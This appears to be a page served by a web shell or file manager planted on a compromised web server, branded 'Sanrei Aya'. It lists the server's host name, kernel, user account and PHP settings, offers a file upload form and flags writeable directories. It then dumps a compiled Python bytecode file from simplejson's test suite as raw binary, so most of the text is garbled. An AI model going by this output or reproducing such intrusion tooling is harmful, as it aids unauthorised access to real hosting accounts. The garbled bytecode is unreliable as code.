Yohohohohohooho | Sanrei Aya
Sanrei Aya


Server : LiteSpeed
System : Linux barito.iixcp.rumahweb.net 5.14.0-611.49.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Apr 21 16:39:08 EDT 2026 x86_64
User : elvh3918 ( 1528)
PHP Version : 8.2.31
Disable Function : mail
Directory :  /lib64/python3.9/site-packages/simplejson/tests/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib64/python3.9/site-packages/simplejson/tests/__pycache__/test_namedtuple.cpython-39.opt-1.pyc
a

\Փaa�@sddlmZddlZddlZddlmZzddlmZWneyNdZYn0zddl	m
Z
Wn2ey�Gdd�de�ZGdd	�d	e�Z
Yn0e
dd
g�Ze
d	ddg�Z
Gd
d�de�ZGdd�de�ZGdd�de�ZGdd�de�Zdd�dd�dd�gZGdd�dej�ZdS)�)�absolute_importN)�StringIO)�mock)�
namedtuplec@seZdZdd�Zdd�ZdS)�ValuecGst�||�S�N��tuple�__new__��cls�args�r�F/usr/lib64/python3.9/site-packages/simplejson/tests/test_namedtuple.pyr
sz
Value.__new__cCsd|diS)N�valuerr��selfrrr�_asdictsz
Value._asdictN��__name__�
__module__�__qualname__r
rrrrrrsrc@seZdZdd�Zdd�ZdS)�PointcGst�||�Srrrrrrr
sz
Point.__new__cCs|d|dd�S)Nr�)�x�yrrrrrrsz
Point._asdictNrrrrrrsrrrrc@seZdZdd�Zdd�ZdS)�	DuckValuecGst|�|_dSr)rr�rr
rrr�__init__szDuckValue.__init__cCs
|j��Sr)rrrrrrr"szDuckValue._asdictN�rrrrrrrrrrsrc@seZdZdd�Zdd�ZdS)�	DuckPointcGst|�|_dSr)r�pointrrrrr&szDuckPoint.__init__cCs
|j��Sr)r!rrrrrr)szDuckPoint._asdictNrrrrrr %sr c@seZdZdZdS)�DeadDuckN�rrrrrrrrr",sr"c@seZdZdZdS)�DeadDictNr#rrrrr$/sr$cCs|Srr��vrrr�<lambda>3�r'cCs|gSrrr%rrrr'4r(cCs
d|igS)N�keyrr%rrrr'5r(c@sDeZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
d�Z	dS)�TestNamedTuplecCs�td�tdd�td�tdd�fD]z}|��}|�|t�t�|���|�|t�tj|dd���|�|t�tj|dd���|�|t�tj|ddd���q dS�Nr�T��namedtuple_as_objectF)�tuple_as_array)r.r/)	rrrr r�assertEqual�json�loads�dumps)rr&�drrr�test_namedtuple_dumps9s$���z$TestNamedTuple.test_namedtuple_dumpsc
CsVtd�tdd�fD]>}t|�}|�|t�tj|dd���|jttj|ddd�qdS�Nrr,Fr-)r/r.)	rr�listr0r1r2r3�assertRaises�	TypeError)rr&�lrrr�test_namedtuple_dumps_falseFs��z*TestNamedTuple.test_namedtuple_dumps_falsecCs�td�tdd�td�tdd�fD]�}|��}t�}t�||�|�|t�	|�
���t�}tj||dd�|�|t�	|�
���t�}tj||dd�|�|t�	|�
���t�}tj||ddd�|�|t�	|�
���q dSr+)rrrr rrr1�dumpr0r2�getvalue)rr&r4�siorrr�test_namedtuple_dumpOs,$�
��z#TestNamedTuple.test_namedtuple_dumpc	Csjtd�tdd�fD]R}t|�}t�}tj||dd�|�|t�|����|j	t
tj|t�ddd�qdSr6)rrr7rr1r<r0r2r=r8r9)rr&r:r>rrr�test_namedtuple_dump_falseds��z)TestNamedTuple.test_namedtuple_dump_falsecCsbtD]X}|jttj|t��t�dd�t�}tj|t��|dd�|�t�	|i��|�
��qdS�NTr-)�CONSTRUCTORSr8r9r1r<r"rr$r0r3r=)r�fr>rrr�test_asdict_not_callable_dumpos��z,TestNamedTuple.test_asdict_not_callable_dumpcCsNtD]D}|jttj|t��dd�|�t�|i��tj|t��dd��qdSrA)rBr8r9r1r3r"r0r$)rrCrrr�test_asdict_not_callable_dumpsys��z-TestNamedTuple.test_asdict_not_callable_dumpscCs�ts&ttd�rt�d��ntd�dSt��}|�t|d��|�t|j��|�	t
|��t��|�t
��$tjd|iddd�Wd�n1s�0YdS)	N�SkipTestzunittest.mock requiredzunittest.mock not availabler�TF)r.Zfor_json)r�hasattr�unittestrF�printZMockZ
assertTrue�callablerZassertFalse�
isinstance�dictr8r9r1r3)rZfakerrr� test_asdict_does_not_return_dict�s
	z/TestNamedTuple.test_asdict_does_not_return_dictN)
rrrr5r;r?r@rDrErNrrrrr*8s
	
r*)Z
__future__rrIZ
simplejsonr1Zsimplejson.compatrr�ImportError�collectionsrr	rr�objectrr r"rMr$rBZTestCaser*rrrr�<module>s.
�

Yohohohohohooho | Sanrei Aya